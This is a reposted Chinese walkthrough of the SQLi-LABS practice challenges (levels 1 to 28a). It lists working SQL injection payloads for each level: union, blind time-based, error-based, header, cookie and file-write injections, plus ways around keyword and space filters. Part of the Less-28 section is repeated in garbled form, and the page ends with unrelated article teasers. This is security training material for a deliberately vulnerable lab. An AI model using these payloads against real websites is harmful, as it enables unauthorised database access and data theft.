SQLi-LABS-Challenges 0~28a解析

news2024/11/16 0:35:25

Less-1 GET-Error based - Single quotes - String

成功payload

  • 1' union select 1,database(),user()%23

1' and 1=2 union select user(),1,database()--+

  1. 经测试 输出时会输出 3 列,所以此处 union select 需 select 三个数据
* `1‘ order by 4--+`时会报错,1~3则不会报错,所以推测有三列
  1. 会过滤掉 # 可采用 以下方式解决:
* URL编码下的 %23 代替 #

* -+注释符
  1. 根据报错提示猜测原拼接的SQL语句最后用 limit 0,1 用于限制输出~~~~的结果,所以需注释掉后续语句

进一步探索

1' and 1=2 union select 1,schema_name,default_character_set_name from information_schema.schemata limit 1,2--+

改变 limit 后的范围即可配合Burp 确认所有存在的数据库
11.png
12.png
13.png13.png

Less-2 GET-Error based - Intiger quotes

与Less-1的区别在于,此时id后的参数是作为整型出现的,而不是字符串了

成功playload

  • 1' union select 1,database(),user()%23

其余全部一致

Less-3 GET-Error based - Single quotes whit twist - String

与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 ')

成功playload

  • 1') union select 1,database(),user()%23

其余全部一致

Less-4 GET-Error based - Double Quotes - String

与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 “)

成功playload

  • 1“) union select 1,database(),user()%23

其余全部一致

Less-5 Less-5 Double Query- Single Quotes- String

采取基于时间的盲注

测试是否存在SQL

直接采用sleep(5)进行判定

  • 1' union select 1,sleep(5),3#测试发现确实延时返回,确认存在SQL注入
    14.png14.png

通过对返回包的观察,发现该题 执行成功SQL语句 后统一只会返回一句

You are in......

15.png
于是乎首先构建一个基于if()的时间盲注语句

1' and 1=2 union select if(substring(database(),1,1) = 's',sleep(60),1)#

此处由于为了便于观测结果,所以执行成功则延时60s,这样所有被延时的字符就是最终数据库名字中存在的字符

再通过Burp暴力破解出database()的名字

16.png
17.png

Less-6 Double Query- Double Quotes- String

与Less-5的区别在于,此处对于id的闭合使用的是双引号 “

成功playload

  • 1" union select 1,sleep(5),3%23

其余全部一致

Less-7 Less-7 Dump into Outfile

根据提示我们想到本题应该用到写入文件的操作 into outfile

首先要确保数据库可以写入文件

  1. 确保相关目录有写入的权限/var/www/sqlilabs

  2. 确保数据库与本地文件是否有交互的权限show variables like '%secure%'
    要求secure_file_priv必须为空:为NULL则表示不允许mysql与本地文件做交互;若写着目录,则表示只允许与该目录做交互

成功payload

  1. 首先测试闭合,经初步测试发现有几种闭合方式均没有报错,所以后续都需要进行尝试

18.png

  1. 前面已经测试过列数了,所以此处无需再order by

  2. 通过into outfile将文件保存于目录下的文件中
    id=1')) and 1=2 union select database(),2,user() into outfile "/var/www/sqlilabs/Less-7/4.txt"%23

21.png
写入成功,直接访问即可

22.png

Less-8 Blind- Boolian- Single Quotes- String

与Less-5用的方法一致

成功payload

id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

  1. 首先测试如何闭合

23.png
由测试可知只有%27时也就是'闭合时才执行了sleep(5),所以用’闭合

  1. 与Less-5一样测试即可

24.png

Less-9 Blind- Time based- Single Quotes- String

与Less-5、Less-8用的方法一致

成功payload

id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

Less-10 Blind- Time based- Double Quotes- String

与Less-5、Less-8、Less-9用的方法一致

唯一的不同在于,此处用"闭合

成功payload

id=1" and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

Less-11- Error Based- String

该题方法较多,基本的闭合union select也可完成

成功payload

首先通过order by确认返回数据的列数(也可以认为是返回数据的数量)

  1. 基本闭合union select
    admin' and 1=2 union select user(),database()#

25.png

  1. XPath报错注入
    admin' and 1=2 union select extractvalue("haha",concat("~",(select database()))),2#

26.png

  1. 基于floor()的主键重复报错注入
    admin' and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a#

27.png

具体原理见之前的文章

Less-12- Error Based- Double quotes- String

与Less-11用的方法一致,闭合方式发生改变 为 ")

成功payload

admin") and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-13- Double Injection- String- with twist

与Less-11用的方法一致,闭合方式发生改变 为 ')

成功payload

admin') and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-14- Double Injection- Double quotes- String

与Less-11用的方法一致,闭合方式发生改变 为"

成功payload

admin" and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-15- Blind- Boolian Based- String

与前面的布尔/时间盲注类似只不过为POST请求

成功payload

admin' and 1=2 union select if(length(database())>2,sleep(5),1),1#

Less-16- Blind- Time Based- Double quotes- String

与前面的布尔/时间盲注类似只不过为POST请求

成功payload

admin") and 1=2 union select if(length(database())>2,sleep(5),1),1#

Less-17 Update Query- Error based - String

该题为update语句用于更新密码,判断注入点是关键所在

本体开始怀疑注入点依旧位于User
Name处,但用Burp跑了一遍闭合的各种情况后,发现均没有报错只有图片提示更改密码失败,于是更换思路,在password处寻找注入点,
果然经123'的测试有报错信息返回,确认注入点在此处,于是拼接报错注入语句(User Name处正常填写)

成功payload

User Name :admin

New Password:123' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a)#

Less-18 Header Injection- Error Based- string

有题目可知本体开始注入点发生变化

经测试发现注入点位于UA处(加单引号后报错提示) ,之后尝试拼接语句未果,百思不得其解,遂查看源码,发现语句为insert,有些不太熟悉。

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";

其中:

  • $IP无法找到其位置

  • $uname受到input_check()的过滤

遂将目光聚焦于**$uagent**

为了让insert into语句正常执行,我们需要进行拼接,思路有这样两个

  1. 闭合'$uagent'
    ' and extractvalue(1,concat(”~”,database())) and '1
    ' and extractvalue(1,concat(”~”,database())) and '1'='1
    ' or extractvalue(1,concat(”~”,database())) and '1
    都可以完成拼接为
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('**Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0**' and extractvalue(1,concat(”~”,database())) and '1', '$IP', $uname)";
  1. 闭合('$uagent', '$IP', $uname)"
    ',1,extractvalue(1,concat(”~”,database())))#
    即可拼接为
$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES (**'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
',1,extractvalue(1,concat(”~”,database())))#**, '$IP', $uname)";

成功payload

' and extractvalue(1,concat(”~”,database())) and '1'='1

',1,extractvalue(1,concat(”~”,database())))#

Less-19 Header Injection- Referer- Error Based- string

闭合利用方式与Less-19一致,区别在此处的注入点位于**Referer**

成功payload

Referer: http://172.16.12.149:81/Less-19/' and extractvalue(1,concat("~",user())) and '1'='1

Less-20 Cookie Injection- Error Based- string

区别在此处的注入点位于**cookie**

这题可能是因为机器性能的原因,导致做了三遍三种cookie,第一种怎么都是sql-lib原始的cookie,会给返回一个uname的set-
cookie,但得自己加上,要么啥也出不来;第二种是cookie字段中还带上了expires,还得自己手动添加很麻烦。直到重启了机器才正常过来

成功payload

很简单

uname = admin'and 1=2 union select user(),database(),version()#

28.png

Less-21 Cookie Injection- Error Based- complex - string

与上题构造方法基本一致

区别

  • 闭合方式变为')

  • cookie内容字段进行了base64编码

成功payload

admin') and 1=2 union select user(),database(),version()#

base64编码后

YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKSx2ZXJzaW9uKCkj

Less-23

172.16.12.154:81/Less-23/?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)' and '1

由于过滤了注释符,所以最后用and '1闭合最后的'即可

Less-24

创建一个新用户

  • 账号 admin’#

  • 密码 123

登录该用户,更改密码为 root

此时改的是admin的密码

Less-25

没啥新意感觉,就是过滤or和and还有没有编码的一些注释符

or和and双写就可以绕过,注释符URL编码即可

配合union select记好了

id=1' aandnd 1=2 union select user(),database(),3%23

Less-25a

改为数字型即可

id=1 aandnd 1=2 union select user(),database(),3%23

Less-26

本题过滤了所有的注释符、空格、or/and等符号

我们使用||逻辑或运算符、&&逻辑与运算符代替原来的or或and即可,效果是一样的,配合报错注入即可

id=-1'||(updatexml(1,concat("~",user()),0))||'1

Less-26a

本题报错注入不会回显 ,而且闭合方式变为’),所以需要找到其他可以代替空格的符号,分别有

  • %09Tab键 水平

  • %0a新建一行

  • %0c新的一页

  • %dreturn键

  • %0bTab键 垂直

  • %a0空格

id=0%27)%a0union%a0select%a01,2,3||(%271

29.png

Less-27

本体过滤掉了select与union关键字,但报错注入依旧有效

id=-1'||(updatexml(1,concat("~",user()),0))||'1

而且多重重写也可绕过:selselselectectect

大小写也可以:SeLEct

Less-27a

同样报错注入没有回显,且闭合方式变为**"**

会过滤union和select但依旧不严格,可以通过重写和大小写绕过

id=0%22%a0ununionion%a0sELect%a01,2,3||%221

Less-28

本题的主体也是过滤selectunion,而且经测试这种过滤很有意思,如果但写selectunion并不会被过滤,但如果二者共同出现就会被过滤吧,还有就是本体还有过滤空格(和上题一样,通过%0a绕过即可),还有就是会过滤*这个符号,这就导致经典的floor报错注入貌似完成不了了

但本体的绕过也很简单,双写被过滤词即可(不是复写)

  • payload1
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00

  • payload2
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A('1')=('1

⚠️ 两种写法都可以,只是最后的闭合方式不同

Less-28a

上面的payload在这里也适用,可能是出题者并没想我们用这种方法来注入,想得是一个用报错注入一个布尔肓注

果但写selectunion并不会被过滤,但如果二者共同出现就会被过滤吧,还有就是本体还有过滤空格(和上题一样,通过%0a绕过即可),还有就是会过滤*这个符号,这就导致经典的floor报错注入貌似完成不了了

但本体的绕过也很简单,双写被过滤词即可(不是复写)

  • payload1
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00

  • payload2
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A('1')=('1

⚠️ 两种写法都可以,只是最后的闭合方式不同

Less-28a

上面的payload在这里也适用,可能是出题者并没想我们用这种方法来注入,想得是一个用报错注入一个布尔肓注

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/342981.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

OpenHarmony使用Socket实现一个TCP服务端详解

点击获取BearPi-HM_Nano源码 ,以D4_iot_tcp_server为例: 点击查看:上一篇关于socket udp实现的解析 查看 TCPServerTask 方法实现: static void TCPServerTask(void) {//连接WifiWifiConnect("TP-LINK_65A8",

场测|新能源整车通信功能性能,新能源整车环中国测试,整车2345G及bt,wifi测试

一套全新的用于测试车载通信功能的标准Verson.DH2.0.0 目的: 检测出不同平台、芯片及硬件配置的间的差异,找到凌驾于法规之上好产品配置。开创出行业领先的测试标准,并联合相关部门将地方标准升级成国家标准。推动行业产品的迭代将客户的用…

Ajax 学习笔记

一、Ajax1.1 什么是AjaxAJAX Asynchronous JavaScript and XML(异步的JavaScript和XML)。Ajax是一种在无需加载整个网页的情况下,能够更新部分网页的技术,它不是一种新的编程语言,而是一种用于创建更好更快以及交互性更强的Web应用程序的技术…

VSCODE C++ 调用matplotlibcpp画图

使用VSCODE编写C程序,想在调试过程中看中间数据的波形,于是找到了python的matplotlibcpp库,参考文章链接是:https://blog.csdn.net/weixin_43769166/article/details/118365416;按照他的步骤配置好之后,跳出…

《爆肝整理》保姆级系列教程python接口自动化(十三)--cookie绕过验证码登录(详解

python接口自动化(十三)--cookie绕过验证码登录(详解 简介 有些登录的接口会有验证码:短信验证码,图形验证码等,这种登录的话验证码参数可以从后台获取的(或者查数据库最直接)。获取…

Linux服务器clang-13安装(环境变量配置)

1.从llvm的github网址选择合适的release合适的运行平台进行下载,下载官方预编译的二进制压缩包。 2.将下载好的压缩包进行本地上传。 使用scp命令进行上传 scp -r -P 端口号 本地文件路径 服务器ID等:服务器上目标地址 3.解压(tar命令) 4.环境变量配…

测试开发之Django实战示例 第八章 管理支付与订单

第八章 管理支付与订单上一章制作了一个带有商品品类展示和购物车功能的电商网站雏形,同时也学到了如何使用Celery给项目增加异步任务。本章将学习为网站集成支付网关以让用户通过信用卡付款,还将为管理后台扩展两项功能:将数据导出为CSV以及…

旋转框目标检测mmrotate v1.0.0rc1 之RTMDet训练DOTA(二)

1、模型rotated_rtmdet的论文链接与配置文件注意:我们按照 DOTA 评测服务器的最新指标,原来的 voc 格式 mAP 现在是 mAP50。IN表示ImageNet预训练,COCO表示COCO预训练。与报告不同的是,这里的推理速度是在 NVIDIA 2080Ti GPU 上测…

国外客户只想跟工厂合作?可以这样破解

1.客户是愿意和外贸公司合作还是更愿意和工厂合作?一个外贸公司的朋友说:“我去工厂接待过七八次外国人,基本上都是英国、德国、日本、加拿大、美国的。”贸易公司根本不避讳自己是贸易公司,外国人也不在乎。他们更关心的是贸易公司能否妥善安…

十五载厚积薄发,电信级分布式数据库是这样炼成

所在论坛:数据库技术创新&云原生论坛 分享时段:2.18 10:00-10:30 分享主题:大规模并行处理:AntDB分布式演进之路 分享嘉宾:沈夺,亚信科技AntDB数据库内核开发工程师 由中国开源软件推进联盟Postgre…

JFET(结型场效应管)

JFET的结构示意图 参考:https://blog.csdn.net/weixin_45882303/article/details/106008695 下图是实际结构图, 下面是原理图和符号表示(参考连接中的图片) 分析 VGS 对电压id的控制(固定VDS) 当让D和…

华为OD机试 - 箱子之字形摆放(Python)| 核心知识点 + 代码编写思路

箱子之字形摆放 题目 有一批箱子(形式为字符串,设为str), 要求将这批箱子按从上到下以之字形的顺序摆放在宽度为 n 的空地,请输出箱子的摆放位置。 例如:箱子ABCDEFG,空地宽度为3,摆放结果如图: 则输出结果为: AFG BE CD 输入 输入一行字符串,通过空格分隔,前面…

别具一格,原创唯美浪漫情人节表白专辑,(复制就可用)(html5,css3,svg)表白爱心代码(3)

别具一格,原创唯美浪漫情人节表白专辑, (复制就可用)(html5,css3,svg)表白爱心代码(3) 目录 款式三:心形实时显示认识多长时间桃花飞舞(猫咪)款 1、拷贝完整源代码 2、拷贝完整js代码 3、修改时间 4、…

深入浅出带你学习shiro-550漏洞

//发点去年存货 前言 apache shiro是一个java安全框架,作用是提供身份验证,Apache Shiro框架提供了一个Rememberme的功能,存储在cookie里面的Key里面,攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的 Cookie&#xf…

一起学习用Verilog在FPGA上实现CNN----(七)全连接层设计

1 全连接层设计 1.1 Layer 进行线性计算的单元layer,原理图如图所示: 1.2 processingElement Layer中的线性计算单元processingElement,原理图如图所示: processingElement模块展开原理图,如图所示,包含…

Transformation(转换算子)

分布式代码的分析 启动spark程序的代码 在yarn中启动(没有配置环境变量) /export/server/spark/bin/spark-submit --master yarn --num-executors 6 /root/helloword.py # 配置环境变量 spark-submit --master yarn --num-executors 6 /root/helloword.py RDD的五大特征 1、…

ZYNQ-嵌入式学习(4)

GPIO之MIO中断GPIO的MIO中断功能实验:使用GPIO的MIO中断功能,实现按键控制LED的亮灭。GPIO的MIO中断功能 从MIO输入到GPIO的线路有一个通向中断检测模块的分支。 INT_TYPE寄存器表示中断类型。包括边沿和电平两种类型。 INT_POLARITY寄存器表示极性。包括…

基于 STM32+FPGA 的多轴运动控制器的设计

运动控制器是数控机床、高端机器人等自动化设备控制系统的核心。为保证控制器的实用性、实时性和稳定 性,提出一种以 STM32 为主控制器、FPGA 为辅助控制器的多轴运动控制器设计方案。给出了运动控制器的硬件电路设计, 将 S 形加减速算法融入运动控制器&…

【Git】合并多条 commit 注释信息

文章目录1、查看 commit 记录2、合并 commit 注释1、查看 commit 记录 # 3 指的是查看最近 3 次的 commit 记录,如果要查看多次的可以修改数字 # -3 不加,则表示查看所有 commit 记录,一般还是用数字去指定 git log -32、合并 commit 注释 …

【图像分类】基于PyTorch搭建LSTM实现MNIST手写数字体识别(单向LSTM,附完整代码和数据集)

写在前面: 首先感谢兄弟们的关注和订阅,让我有创作的动力,在创作过程我会尽最大能力,保证作品的质量,如果有问题,可以私信我,让我们携手共进,共创辉煌。 提起LSTM大家第一反应是在NLP的数据集上比较常见,不过在图片分类中,它同样也可以使用。我们以比较熟悉的 mnist…